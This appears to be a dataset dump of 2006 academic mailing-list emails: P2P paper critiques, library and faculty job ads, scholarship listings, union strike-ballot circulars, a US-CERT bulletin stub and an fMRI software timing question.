::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Ian Kash ,egs+summary,"Wed, 01 Feb 2006 15:58:09 -0500",PAPER 3,"CAN is a structured p2p network based on ownership of zones of a multidimensional space. Each key hashes to a point in the space and the owner of the zone that point is in controls that value. To route, each node keeps track of its 2d neighbors in the d dimensional space and routes it to the one closest to the destination giving an average path length of O(n^{1/d}). Long hops can be achieved by using multiple realities (essentially several different copies of the space with each node assigned a different zone in each reality. Thus each node has neighbors in a variety of locations so can cover a large distance with a single forward. The use of multiple realities is not well justified theoretically (and this manifests itself in limited performance improvements in the simulations. The problem essentially boils down to that of local search in a social network. While the existence of long hops guarantees the existence of very short paths in expectation, there is no practical way to find them because you do not know which of your neighbors leads to them because you do not know what the long hops of your neighbors and their neighbors etc are. Thus the only improvement comes from stumbling across hops that move you more quickly in a greedy fashion which is not a major improvement. Also, CAN seems to have trouble handling multiple simultaneous failures. They claim that they have a mechanism that eventually resolves the takeover issues, but it seems like it ultimately has to involve identifying the neighbors and reaching a consensus among them which seems extremely problematic in practice. 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Similar to Chord, keys to data are uniformly distributed accross the participating peers using a hash function mapping. Nodes need to maintain links for their immediate neighbors only, so the size of the routing table is 2d. Routing in CAN takes O(n^1/d). Node joins affect only O(d) nodes. CAN uses soft-state routing table updates. Absence of such update messages signals that the node has failed. The system does not have a good way of handling crashed nodes and can quickly become inconsistent when neighbors disagree on which nodes and up or down. In addition, an attacker can repeatedly report its neighbors as failed and thus easily disrupt the system. Another problem with the paper is that the parameter d cannot be adjusted dynamically. The paper, however, provides good theoretical base and does address locality issues, replication and caching. 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That includes shipping, the CD, and a manual on the CD. This is for both Mac and PC. Please let me know if you are interested in my purchasing Inspiration for you at this price. c.",0,0 Joyce McDonough ,arl-ejournal@arl.org,"Wed, 01 Feb 2006 17:34:46 -0500",Position: Networked Electronic Resources Librarian @ Columbia University,"Networked Electronic Resources Librarian Technical Support & Acquisitions Columbia University Libraries invites applications and nominations for the position of Networked Electronic Resources Librarian. We seek a dynamic individual to coordinate and support the acquisition, processing, and maintenance of electronic resources for the Columbia University Libraries. Working closely with the Associate University Librarian for Collections and with Libraries selectors, this position provides an opportunity to participate in the development and advancement of networked electronic services in a collaborative environment. Reporting to the Director, Technical Support & Acquisitions, the successful incumbent will coordinate the acquisition, processing, and maintenance of the networked electronic resources selected for Columbia University Libraries. Responsibilities include researching and analyzing vendor products and offers, reviewing license agreements, setting up trials and pilots, as needed, troubleshooting issues related to access and maintenance, and working closely with the Library Systems Office to conduct initial technical reviews. The Libraries have been a partner with Endeavor in the development of Meridian, and the incumbent will take a lead role in our local implementation. In addition to assessing products, aggregators, and services, the position is expected to acquire resources and process changes and renewals, communicating with vendors to obtain the best terms and conditions available. In addition to the 1.5 FTE support staff reporting to this position, the incumbent works with a cross- section of Libraries staff to streamline the process for acquiring and providing access to electronic materials, to analyze and resolve problems, and to develop and use statistical and other management reports. This will include working with the Library Systems Office, vendors, publishers, and other members of various consortia regarding orders, terms, licensing, access, payments, and other performance matters. This is an outstanding opportunity to help shape the future of the Libraries networked electronic resources. One of the world's leading research universities, Columbia provides outstanding opportunities to work and grow in a unique intellectual community. Set in the Morningside Heights academic village, Columbia also presents the unmatched dynamism, diversity and cultural richness of New York City. The University Libraries, grounded in collections of remarkable depth and breadth, are also building extensive electronic resources and services. The Libraries at Columbia are committed to collegiality, professionalism, innovation and leadership. Annually the Libraries is devoting an increasing portion of its $16.9 million budget to electronic materials. The percentage exceeded 17% last year. Requirements are: an accredited MLS or equivalent relevant degree, and experience with electronic materials; knowledge of electronic services and licenses, bibliographic records, library automation, and web environments; knowledge of standard business practices, licensing terms, and the ability to apply that knowledge to electronic resources; the ability to work within a large, complex and changing library environment; effective written and oral communication skills; strong analytical skills; the ability to work in a collaborative and supportive manner with a broad cross section of Columbia Libraries staff; and knowledge of scholarly publishing & publications. Preferred qualifications include: supervisory experience, working knowledge of one or more European languages (preferably one Romance and one Germanic), including the ability to understand general business terms; previous serials or acquisitions experience at a professional level; experience in a large research library; and familiarity with licensing and Intellectual Property issues. The salary for this PC-II position is commensurate with experience. We offer excellent benefits including tuition exemption for self and family and assistance with University housing. Set in the Morningside Heights academic village, Columbia presents an unmatched dynamism, diversity, and cultural richness of New York City. For immediate consideration, please email your application, along with the names and numbers of three references to: libjobs2@columbia.edu. You may also send it to Libraries Human Resources, Columbia University, Box 18 Butler Library, 535 West 114th Street, New York, NY 10027. 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If you could email me back with your suggestions on my topic or any insite i would really appreciate it!! thanks Valerie Mayer MW 10-12",0,0 Peter Suber ,SPARC-OAForum@arl.org,"Thu, 02 Feb 2006 09:49:22 -0500",Free OA journal platform from Scholarly Exchange,"[Forwarding from Scholarly Exchange. --Peter.] International not-for-profit offers free journal publishing platform for open access Not-for-profit Scholarly Exchange, Inc. has eliminated one major obstacle for open access journals by providing a free and fully supported e-publishing platform. Combining Open Journal Systems public-domain software with complete hosting and support, this new service offers scholars unrivaled freedom and flexibility to produce academic journals - and at a price that fosters the open access model. Scholarly Exchange offsets its costs by contextually appropriate on-screen advertising, supplied by such sources as Google and Yahoo. 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Kim McNally Karen Nelson Assistant Athletic Director - Student-Services Director of SOAR /CHAMPS Life Skills (541) 346-6103 FAX (541)346-6458 tjnelson@uoregon.edu ",0,0 ,,,,"[66.111.4.28]) by cs.utexas.edu (8.13.5/8.13.5) with ESMTP id k12G8BAV017264 for ; Thu, 2 Feb 2006 10:08:12 -0600 (CST) Received: from frontend1.internal (mysql-sessions.internal [10.202.2.149]) by frontend1.messagingengine.com (Postfix) with ESMTP id 6E021D33052 for ; Thu, 2 Feb 2006 11:07:52 -0500 (EST) Received: from frontend2.messagingengine.com ([10.202.2.151]) by frontend1.internal (MEProxy); Thu, 02 Feb 2006 11:07:52 -0500 X-Sasl-enc: 0TtkUnuUPCUXcx0bUc63T44T7hiU4vm3gld6r9OexzOK 1138896470 Received: from BILLMARK-LT2 (pc185.csres.utexas.edu [128.83.122.92]) by frontend2.messagingengine.com (Postfix) with ESMTP id 2A0425714A3 for ; Thu, 2 Feb 2006 11:07:50 -0500 (EST) Date: Thu, 2 Feb 2006 10:07:53 -0600 (Central Standard Time) From: billmark@cs.utexas.edu To: cs395t-mark@cs.utexas.edu Subject: Plan for today's fine-grained parallelism class Message-ID: X-X-Sender: billmark@fastmail.fm@mail.messagingengine.com MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Hi class, There is an interesting talk that conflicts with part of today's class, so here's the plan: 1) We'll meet at 3:30 as usual, and I'll lecture and lead discussion on the reading topics for today. I'll also collect the written assignment -- please remember to bring it with you. 2) At 4:20, we'll end class, so that everyone can attend the following talk: Who: George Cox/Intel Where: Taylor 3.128 When: 4:30 pm Talk Title: ""Trustworthy Platforms: Problems, Promises Concepts, Practical Realities and Research Opportunities"" After that we'll be done for the day. I considered trying to reconvene after the talk, but I think that's too much reshuffling for one day so I decided against it. I strongly recommend that you attend George Cox's talk. He is addressing the other issue (i.e. other than parallelism) that is going to be critical to the overhaul of architectures and programming languages over the next ten years. Some of the requirements imposed by trustworthy computing are likely to constrain the approaches that can be taken to achieving high performance via parallelism, so even if you're not interested in trustworthy computing per-se, you should still learn something about it. Bill",0,0 Gary Cruz ,"Anita.Ramirez@shpe.org, Luis.Mendoza@shpe.org, Michelle.Urquhart@shpe.org, Wendy.Haro@shpe.org, Antonina.Robles@shpe.org, Jacqueline.Zaldana@shpe.org, Karina.Solorio@shpe.org, Nora.Rincon@shpe.org, Allan.Morales@shpe.org, Oscar.Herrera@shpe.org, Mike.Cruz@shpe.org, Ismael.Mendoza@shpe.org, Iliana.Limon@shpe.org, Gloria.Garcia@shpe.org, Cesar.Munoz@shpe.org, rvp5@shpe.org","Thu, 02 Feb 2006 13:56:56 -0600",Scholarship and Internship Opportunities 020206,"RVPs and RSRs, Could you please forward this compiled listing of scholarship and internship opportunities to SHPE students. Some deadlines are coming up in a couple of weeks. Thanks, Gary ========================================================================== Dear SHPE Students, Following are several scholarship, internship, and postdoc opportunities that have come to the AHETEMS Office. These opportunities vary for high school students, undergraduates and graduate students. Please contact the sponsoring agency directly for more information on the program. Good Luck. Gary ========================================================== FULBRIGHT International Human Rights Summer Fellowships - Deadline 2/7/06 MANA/Coors Primeras Scholarship Program for Latina Advancement - Deadline 2/13/06 Science, Mathematics and Research for Transformation Scholarship - Deadline 2/17/06 The Naval Research Enterprise Intern Program (NREIP) - Deadline 2/17/06 The Science and Engineering Apprenticeship Program (SEAP) - Deadline 2/17/06 Summer Internships with US Department of Transportation - Deadline 2/28/06 HACU National Internship Program - Deadline 2/24/06 Resident Research Fellowships in Mexico City - Deadline 3/1/06 2006 NALEO Ford Motor Company Fellows Program - Deadline 3/3/06 The Hispanic College Fund Scholarships - Deadline 4/14/06 The Naval Research Laboratory (NRL) Postdoctoral Fellowship Turner’s New York City YouthForce 2020 Scholarship Program - Deadline 5/6/06 ========================================================== FULBRIGHT International Human Rights Summer Fellowships Organization: Humanity In Action Application Deadline: February 7, 2006 Eligibility: Sophomores, Juniors, Seniors from US Colleges/Universities Website http://www.humanityinaction.org Humanity in Action sponsors six summer programs on minority issues in Europe and the United States. This year we will select a total of 70 students from U.S. colleges and universities to participate in the 2006 programs. We are looking for applicants from all majors with a commitment to human rights and minority issues. The 2006 summer programs will take place in Amsterdam, Berlin, Copenhagen, New York, Paris, and Warsaw. Because we are seeking to recruit the best of the best, we pay virtually all of the costs of participation. Humanity in Action (HIA) is a New York-based not-for-profit organization that seeks to engage, inspire, and empower future human rights leaders by giving them the opportunity to meet current human rights leaders in the context of transnational educational programs. In each program, American students work with an equal number of university students in the host countries. (Note: European students from HIA host countries can also find applications for the program on the website). Although each program focuses on current minority and human rights issues in the host country, in all programs students study histories and theories of resistance to the abuse of human rights and the development of international human rights doctrines and institutions in the aftermath of World War II and the Holocaust. HIA engages Fellows in an ongoing trans-Atlantic dialogue about the challenges that democratic societies encounter as they experience new degrees and forms of diversity. Upon completion of the summer program, HIA seeks to further the personal and professional growth of participants by offering a network of Senior Fellows (graduates of the program) in the U.S. and Europe, periodic lectures and conferences, and eligibility for a variety of prestigious internships (currently including the International Criminal Tribunal for the former Yugoslavia, Interpol, the U.S. House of Representatives, the European Parliament, and others). Complete information about HIA and the full range of our programs can be found on our website: http://www.humanityinaction.org ========================================================== MANA/Coors Primeras Scholarship Program for Latina Advancement MANA, A National Latina Organization, committed to the advancement of Hispanic youth, and Coors is proud to announce The Coors Primeras Scholarship Program for 2006 for Latina advancement. MANA encourages all eligible candidates to apply and not miss on this great opportunity. Application deadline is February 13, 2006. The eligibility requires that the applicant must be: • Enrolled in an accredited college or university, • Female of Hispanic decent, • At least 21 years of age, • The first in her family to attend a college/university and/or a single mother returning to school. If you have any questions please contact the MANA National Office at (202) 833-0060 x 14 or via email at MANADeputy@aol.com. All completed applications may be mailed, faxed, or e-mailed to: MANA, A National Latina Organization, The Coors Primeras Scholarship Program, 1725 K Street, N.W., Suite 201, Washington, DC 20006; (202) 496-0588 (fax); MANADeputy@aol.com ========================================================== Science, Mathematics and Research for Transformation (SMART) Scholarship Program This scholarship program provides students with stipend allowance, full tuition, book allowance, room and board and other normal educational expenses. The purpose is to promote the education, recruitment and retention of undergraduate and graduate students in science, mathematics and engineering studies. The SMART Scholarship Program is open only to U.S. citizens, and students must be at least 18 years of age to be eligible. There is an employment obligation to DoD with this scholarship program. Application deadline is February 17th, 2006. For more information and application deadlines, go to: http://www.asee.org/smart. ========================================================== The Naval Research Enterprise Intern Program (NREIP). NREIP is a 10-week summer research opportunity for undergraduate juniors, seniors, and graduate students, under the guidance of a mentor, at a participating Navy Laboratory. The stipend amounts for the program are $5, 500 for undergraduate students and $6,500 for graduate students. U.S. citizenship required; permanent residents accepted at certain labs. The application is currently open and must be completed by February 17, 2006. http://www.asee.org/NREIP. ========================================================== The Science and Engineering Apprenticeship Program (SEAP). SEAP is an eight-week summer research opportunity at participating ONR laboratories for high school students who have completed at least grade 9. Students must be 16 years of age for most laboratories, and a U.S. citizen. A graduating high school senior is eligible to apply. The stipend for the summer program is $1,500 for new students; $1,550 for returning students. The application is currently open and must be completed by February 17, 2006. - Go to: http://www.asee.org/SEAP. ========================================================== Summer Internships with US Department of Transportation The US Department of Transportation Summer Internship Program is open for applications from University Students. Visit the Summer Transportation Internship web site: Students need to submit their application early, prior to the deadline. The deadline for the application is February 28, 2006 Irene Rico, Assistant Division Administrator, 804-775-3344, irene.rico@fhwa.dot.gov ========================================================== HACU National Internship Program The Hispanic Association of Colleges and Universities (HACU) recruits college students for summer- and semester-long paid internships at federal agencies and private corporations in Washington, D.C. and throughout the country. These ten- and fifteen-week internship programs are designed to allow college students to gain professional development experience that will enable them to make educated career choices. The following are federal agencies and corporations that have participated in the past: TRAVEL EXPENSES: Roundtrip airfare is arranged and provided at no charge to interns when applicable. Federal interns who arrange their own transportation will be reimbursed for reasonable expenses. (Note: Expenses must be pre-approved.) STIPENDS: Government intern stipend levels are based on academic level at the time of application. Sophomore/Junior - $440/week . Senior - $470/week . Graduate/Law - $540/week Corporate intern pay levels vary and will be determined at the time of the offer. ELIGIBILITY: All applicants must: Have a minimum 3.0 GPA on a 4.0 scale Be currently enrolled in an undergraduate or graduate degree program Have completed their freshman year of college before the internship begins Be authorized or eligible to work by law in the Unites States APPLICATION DEADLINES: Summer 2006 deadline is February 24, 2006; Fall 2006 deadline is June 16, 2006. HOW TO APPLY: To be considered for an internship, apply online at http://www.hnip.net. ========================================================== Resident Research Fellowships in Mexico City Call for Applications The Center for Inter-American Studies and Programs (CEPI - Centro de Estudios y Programas Interamericanos) invites applications from professionals of diverse disciplines and sectors to participate in its Resident Fellowship program based at the Instituto Tecnológico Autónomo de México (ITAM), a prestigious Latin American university located in the San Angel area of Mexico City. The CEPI mission is to foment new approaches and to bring new thinking to a wide variety of inter-American issues. To this end, the fellowship program provides a space for discussion and specialized research in a supportive environment in order to stimulate greater understanding and interest in this region. Information about the CEPI mandate, about past and current CEPI fellowship holders, and about associated CEPI projects can be found on the program website at: http://interamericanos.itam.mx/englishversion/index_eng.html For further information on the Fellowship Program, including the electronic application package, please consult the program website: http://www.interamericanos.itam.mx/englishversion/index_eng.html To apply for a CEPI Resident Fellowship for the 2006-2007 academic year, interested applicants must submit their application form together with the letters of reference, no later than March 1st, 2006. The selection committee will notify all applicants of their decision by March 31st, 2006. Yareli Alcántara Assistant to the Director Center for Inter-American Studies and Programs at ITAM Tel. (5255) 56.28.40.00 ext. 3926 Fax. (5255) 56.28.40.92 ========================================================== 2006 NALEO Ford Motor Company Fellows Program Each year, college seniors, recent graduates and graduate students are selected to become NALEO Ford Fellows. In 2006, participants will travel to Dallas, Texas, for the NALEO 23rd Annual Conference to take part in three days of intensive professional, leadership and cultural development workshops while learning about local government and advocacy groups. NALEO Ford Fellows will then take part in the NALEO Annual Conference, where they will have the opportunity to interact with Latino appointed and elected officials from across the United States. Following the Annual Conference, NALEO Ford Fellows will begin a five-week placement in the office of a Member of Congress or federal agency in Washington, D.C. During their fellowship placement they will research legislation, monitor hearings, handle constituent casework, assist with media related projects, and prepare briefing materials as needed. To apply, applicants must: - Be U.S. citizens or Legal Permanent Residents of Latino origin; - Be residents of (but need not attend college in) the following states or regions: California, Florida, Illinois, Michigan, Texas or Puerto Rico (additional participants are selected from a national pool of applicants); - Be rising seniors, graduate students or recent graduates; - Submit a completed application form, personal statement, resume, two letters of recommendation, two work references, transcripts, 2 x 3 photograph; and - Must be 21 years of age by June 19, 2006. Application Deadline: Friday, March 3, 2006 Air fare to and from Dallas and Washington, D.C.; Housing accommodations during Dallas and Washington, D.C., stay; 1,500 stipend. ========================================================== The Hispanic College Fund Scholarships The Hispanic College Fund (HCF) launched its 13th annual search to provide 2 million dollars in scholarships to more than 700 outstanding Hispanic college students across America. HCF is looking for the next generation of engineers, business executives, scientists, and health professionals with the drive to become leaders of America's professional workforce. Scholarships are awarded to students demonstrating academic merit and financial need. Students can apply online at http://www.hispanicfund.org. The application deadline is April 15, 2006. Awards will be given for the 2006-2007 academic year and can amount anywhere from $500 - $10,000. The HCF Scholarship Program is open to all students with a minimum 3.0 GPA majoring in studies related to business, finance, engineering and the sciences. ========================================================== The Naval Research Laboratory (NRL) Postdoctoral Fellowship Program. Open to U.S. citizens and legal permanent residents, this program offers a competitive stipend as well as insurance, relocation, and travel allowances. It offers one to three year postdoctoral fellowships designed to increase the involvement of scientists and engineers from academia and industry to scientific and technical areas of interest and relevance to the Navy. This program has a rolling admission. Go to: http://www.asee.org/resources/nrl/ ========================================================== Turner’s New York City YouthForce 2020 Scholarship Program Each year, Turner's New York business unit selects five graduating high school seniors from New York City schools to be recipients of the scholarship in the amount of $2,000 each year, a total of $8,000 after completing four years of college. As a scholarship recipient, students must maintain a 2.75 grade point average, remain in the same course of study, and complete a four-year summer internship at Turner that begins immediately following the first full year of college. In addition to mentoring these students throughout their college education, Turner extends full-time employment to its scholarship recipients upon graduating from college. For further information or to request an application form, please contact Stephanie Ansari, Community Affairs Coordinator for Turner Construction Company, via email at sansari@tcco.com. The scholarship program is open to the public and the deadline for receiving all applications is May 6, 2006. ========================================================== -- Gary A. Cruz, M.S., abd. Assistant Programs Director SHPE AHETEMS Office The University of Texas at Arlington College of Engineering, Box 19019 634 Nedderman hall, Room 607 Arlington, TX 76019-0019 817-272-0776 817-272-2548 fax gary.cruz@shpe.org ---------------------------------------------- Regional Science Bowl @ UT Arlington: 4 Mar 06 AHETEMS Internship Program Deadline: 15 Feb 06 AHETEMS Scholarship Deadline: 1 Apr 06 ACE Mini-Grants Deadline: 15 Apr 06 2007 National Technical & Career Conference Denver, Colo. - January 10 - 14, 2007 ----------------------------------------------",0,1 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 02 Feb 2006 16:42:10 -0500","US-CERT Cyber Security Bulletin SB06-033 -- Summary of Security Items from January 26 through February 1, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from January 26 through February 1, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from January 26 through February 1, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ+J8WH0pj593lg50AQJ0dwgAqT4yITUxElYHSzjQJb7QAXlrcHGLMJCw TXDlXpubDXaF8vP7D2P7OWhaKufqTFU2WORZ1Ub8yUTJRqlc9aLIbDzbeEnayPeb cIJNReioUKlqTX8e92ewH8Ehspm2ezpMLQ3HMsxyMDp3XFelYGQVUxuSStBq5DdC gThHvplODQvoUJxSRdu8ItjeEpk3Mu/u3aAxoM0NdaWWQ3dQKb1FRWM2E700lfrJ B90Icu/dot2lWh4Y43IY6V+wbUtBtQ9QVoAj+c59iw3SRX8XLt3FfcTHXt4SlS47 MOs+UuTRFJYbVqOBtTMpWvyj/9xGaTIijiBcuCwpe/xb2CE2xKbAsg== =0aRc -----END PGP SIGNATURE-----",0,1 Yvonne Aburrow ,aut-discussion@bath.ac.uk,"Thu, 02 Feb 2006 16:25:22 +0000",New circulars and information for local associations 30 January - 2 February 2006 (fwd),"------------ Forwarded Message ------------ Date: 02 February 2006 15:53 +0000 From: Debbie Vassell To: All Staff Subject: New circulars and information for local associations 30 January - 2 February 2006 New circulars and information for local associations 30 January - 2 February 2006 LA/7712 TUC Disability conference 2006: call for nominations The TUC Disability conference will be held at Congress House in London on 24-25 May 2006. The AUT is entitled to send two members appointed by executive and two appointed by council. LAs are invited to nominate members and to publish these vacancies widely amongst the membership. Deadline for nominations is Monday 6 March 2006. (1 page) http://www.aut.org.uk/circulars/html/la7712.html http://www.aut.org.uk/circulars/rtf/la/7712.rtf LA/7711 Calculation of pro-rata contracts When negotiating for the transfer of hourly-paid staff to pro-rata contracts LAs will need to discuss with their employers how pro-rata contracts will be calculated. This circular provides guidance to LAs on this point and illustrates different approaches on the issue. (3 pages) http://www.aut.org.uk/circulars/html/la7711.html http://www.aut.org.uk/circulars/rtfla7711.rtf Academic-related staff annual meeting, London WC1, Thursday 2 March 2006 LA/7699, sent out to LAs in January gave notice of the 2006 ARS annual meeting. To-date, very few members have been registered to attend. LA secretaries and local ARS representatives are reminded that this meeting is an important opportunity to discuss the implications of the merger of AUT and NATFHE for academic-related staff, and for members to be involved in driving policy for academic-related staff in UCU from June 2006. There will also be a focus on pay and the implementation of the framework agreement, including any industrial action. LA secretaries are reminded that members should be registered at https://asp.artegis.com, using the login and password ARS2006 and ARSmember by the deadline of Monday 6 February. LAs are also reminded that there are six vacancies on the committee and again, nominations should be submitted to reach HQ by Monday 6 February. We are also seeking motions, which are particularly important this year, to inform the work of UCU on academic-related staff issues and the same deadline for receipt applies. Fixed-term staff annual meeting, 29 March 2006 LA/7701, sent out in January gave details of the 2006 FTS annual meeting, and invited nominations for committee vacancies. Since this notice, an additional one-year casual FTS vacancy has arisen and the following vacancies will now exist from the 2006 annual meeting: two 2-year vacancies for contract research staff members two 2-year vacancies for fixed-term staff who are not contract research staff one 1-year casual vacancy for fixed-term staff who are not contract research staff one 2-year vacancy for a postgraduate undertaking paid duties one 1-year casual vacancy for a postgraduate undertaking paid duties Nominations must be agreed at an appropriate meeting, and received at head office, on the nomination form, with all sections complete, by Monday 6 March 2006. A committee nomination form can be found at http://www.aut.org.uk/media/pdf/a/2/annmeetnomform06.pdf. LAs are also asked to note that the deadline for registration in LA/7701 was incorrectly detailed as 17 January. The correct deadline for committee nominations, submission of motions and delegate registration is Monday 6 March 2006. Links to new circulars are sent to LA secretaries. If the address to which this email has been sent is not correct, or for any other changes in the details of local association officers and contacts please email mailto:hq@aut.org.uk Association of University Teacher, Egmont House, 25-31 Tavistock Place, London Wc1H 9UT Tel: 020 7670 9700 Fax 020 670 9799 website http://www.aut.org.uk ---------- End Forwarded Message ---------- Yvonne -- Yvonne Aburrow Web Developer, Computing Services, University of Bath +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk http://people.bath.ac.uk/ccsya/",0,1 Mark Horney ,Valerie Amanda Mayer ,"Fri, 03 Feb 2006 08:14:29 -0800",Re: suggestion,"Super, -m Mark Horney, Ph.D. Center for Advanced Technology in Education University of Oregon mhorney@uoregon.edu 541-346-2679 On Feb 2, 2006, at 4:00 PM, Valerie Amanda Mayer wrote: > Thanks you for your suggestion. I get what you are talking about and > how to make it more interesting, espeically to other students. This > will help me get the ball rolling on my project. Thanks again > > Valerie Mayer ",0,0 spring ,DHC CE Dept Chairs ,"Fri, 03 Feb 2006 10:28:16 -0500",[Dhc] Geotechnical Faculty Position Open,"Colleagues We have a faculty position opening in our Civil Engineering Department at Merrimack College for Fall 2006. The description is shown below: CIVIL ENGINEERING FACULTY POSITION The Department of Civil Engineering at Merrimack College invites applications for a tenure-track position, at the assistant professor level, in the area of geotechnical/materials engineering. Preferred start date is Fall 2006. A bachelor’s and doctorate degrees (significant professional experience may be considered in lieu of the terminal degree) in civil engineering are required. The successful candidate should be a registered professional engineer or be able to obtain registration within a reasonable amount of time. The Department of Civil Engineering offers an EAC/ABET accredited B.S. degree in Civil Engineering. Please visit our website at www.merrimack.edu and follow the ""jobs"" link for application information. Application review will begin on April 1, 2006 and will continue until the position is filled. Merrimack College is an Equal Opportunity Employer. Gary S. Spring, Chair Civil Engineering Merrimack College 315 Turnpike St. North Andover, MA 01845 Phone: 978-837-5187 Fax: 978-837-5029",0,0 Lauren Brownrigg ,duckvoice@lists.uoregon.edu,"Fri, 03 Feb 2006 13:41:50 -0800",duckvoice: Last Reminder Quackin' Action," QUACKIN' ACTION SUNDAY FEB. 5TH, 2006 MO CENTER!!!! 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Best, Justine --------------------------------------------------------------------------- ------------------------------------------------------ Dear Colleagues, Every YES vote weakens the employers position: Talks between ourselves and the employers broke down last time when it became clear that they were not prepared to discuss our claim seriously and when they made calling off our ballot a precondition of any further discussion. Despite this, AUT and NATFHE remain committed to a negotiated settlement if at all possible. We have written to UCEA asking them whether they do indeed intend to negotiate further, as they claim, and assuring them that we are ready to meet them for serious discussion to resolve the dispute. View the letter here: http://www.aut.org.uk/media/docs/d/1/talkslettertoucea_jan06.rtf However, the ballot result will be crucial in determining whether the employers do come back to the table. We need the biggest possible turnout and the biggest possible YES vote. We need a result that will send to UCEA a clear message of unity and determination in our pursuit of a fair professional wage. The cracks are already showing. Members may recall that during the last dispute, growing pressure on Vice Chancellors led a number of them to lobby UCEA to get back into talks with the AUT. See the story here: http://www.aut.org.uk/index.cfm?articleidx3 Now the signs are that the same may be happening again. UCEA met with University personnel representatives last Thursday and while there are as many accounts of what happened as there were institutions represented at this meeting, one thing is clear: the employers are divided on how to settle the dispute, with some wondering out loud what the point of UCEA actually is if they are not prepared to negotiate. Every vote strengthens our hand, and if the employers are divided let us show that we are united and determined to secure better pay. Scare tactics and foul play: The employers appear to be getting more and more rattled and more and more divided with every week. Some of them seem to want to sort the pay claim out and the others want to make life as difficult as possible. Some are even emailing each other to try and see if they can turn the dispute into a money making exercise. Sadly for them, that email fell into the hands of the THES and was splashed on their front page this week. Read all about it and other news and letters in this weeks news digest here: http://www.aut.org.uk/index.cfm?articleid14 Congratulations to the member who correctly guessed one of the email culprits -- a prize is on its way! More good news for the employers: Recurrent funding from the government for teaching by higher education institutions in England will be increasing by 6.7% in 2006-7, the Higher Education Funding Council for England announced this week. Although there has been a cut of 69,000 in the full-time equivalent number of students projected for 2006-7, the overall level of teaching funding has actually gone up. The real terms amount of teaching funding (the unit of resource) per student is £3,820 in 2006-7, not £3,490 as stated earlier by the government in its 2004 grant letter. There will be a 17% increase in funding to widen participation. The funding for teaching does not include the additional money coming into higher education in England through top-up fees. HEFCE also announced that recurrent funding for research in 2006-7 will be going up by 7.3%. Student support: NUS have been supporting our campaign by passing on a letter from Sally Hunt and Paul Mackney to all Students' Union Presidents and by issuing a joint article from AUT and NATFHE to student media contacts. Moreover, many student papers have been covering this issue independently -- many thanks to all of you for passing them on -- here is one example (from London Student) which is certainly worth a read: http://www.london-student.net/content/view/118/39/ Political support grows as MPs urge VCs to talk: AUT general secretary Sally Hunt has this week met both the Minister for Higher Education Bill Rammell MP and the Conservatives' shadow higher education minister Boris Johnson MP. Having heard an update on the current dispute both expressed their concern at the low levels of university salaries and Bill Rammell reiterated that the government was increasing funding into the sector in England and that one of the reasons why it had introduced top-up fees was to improve university salaries. Meanwhile, in the House of Commons, Labour MP and Education & Skills select committee member Gordon Marsden has tabled an Early Day Motion (EDM) supporting our pay campaign and calling on the employers to seek a settlement. The EDM has already received cross-party support and we will be writing nationally to all MPs next week urging them to sign it. The best way of persuading them to sign however will be pressure from their constituents so please contact your MP urging them to sign EDM 1540 - University salaries (available here: http://edmi.parliament.uk/EDMi/EDMDetails.aspx?EDMID)961&SESSION‡5 ). The easiest and quickest way to do this is to email your MP via: http://www.theyworkforyou.com/ Campaign materials and information: The campaigning area of the web is being constantly updated, please check regularly: www.aut.org.uk/paybacktime (and then link to campaign materials). Go here now to download our latest poster -- 'I've voted, have you?': http://www.aut.org.uk/media/pdf/b/2/ballot-ivevotedposter.pdf Guidance on strike action and action short of a strike will be issued to every local association and will be made available via the web should members vote in favour. LESS THAN 2 WEEKS UNTIL THE BALLOT CLOSES -- VOTE NOW, VOTE YES TO STRIKE ACTION, VOTE YES TO ACTION SHORT OF A STRIKE Justine Stephens Head of Campaigns AUT Egmont House 25-31 Tavistock Place London WC1H 9UT Tel: 020 7670 9700 Mobile: 07887 565976 ______________________________________________________________________ This email and any files transmitted with it are confidential and solely for the use of the intended recipient. If you have received this email in error please notify the sender. The views expressed in this email are those of the sender and not necessarily the views of AUT. AUT has taken steps to ensure that any attachments are free from viruses. You should, however, carry out your own virus check before opening any attachment. AUT accepts no liability for loss or damage caused by software viruses. ______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. 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When I wrote a script for an fMRI experiment, I put the following lines between the parameter lines and the items: $ 0 ""READY""; 100 c; 101 %1 / %1/ ""READY"" /; $ And here is what I got from the azk file (2072.85, +Bit1 are the RT & the button name): **** Item 1046, COT 0.00, 2072.85 2072.85,+Bit1 Item 2008, COT 11689.17, 2260.07 2260.07,+Bit1 Item 1042, COT 23560.73, 1900.66 1900.66,+Bit1 .... **** I knew it today that I should have included 101 as an item, and that line should look like this: +101 * %1 / %1/ ""READY"" /;"" and the azk file should start with something like below: Item 101, COT 0.000 (and some RT) Item 1046, COT 13513.02 (and some RT) I will correct this in my future script, but I want to understand my error better, so here are the questions: In my experiment, the fMRI scanner won't start collecting data until 12 seconds after the spacebar of the computer is hit (to start DMDX). Since SOAs (relative to scanner data collection) instead of COTs are needed in image processing, the usual way to translate a COT value to an SOA value is to subtract 12 seconds from each COT value. 1) Where in the line does the scanner start? %1 / %1/ ""READY"" /; 2) Except for the first item, is my azk file really different from the ""should-be"" azk file? The following two questions are related to Question 1: 3) The presentation computer I used has a refresh rate of 16.58 ms, so I actually put a little bit more than 12 seconds on item 101. I guess the scanner had started collecting data before the ""COT=0.00"" time point in my azk file. Am I right? 4) If I still want to use the data that I collected (I collected two pilot subjects with this script), should I correct my COTs? I.e., should I add 5.92 ms, 4.92 ms, or 3.92 ms to each of the COT value, depending on when the scanner is started? (I got the value of 5.92 ms by subtracting 12000 ms from 724x16.58 (= 12003.92) plus 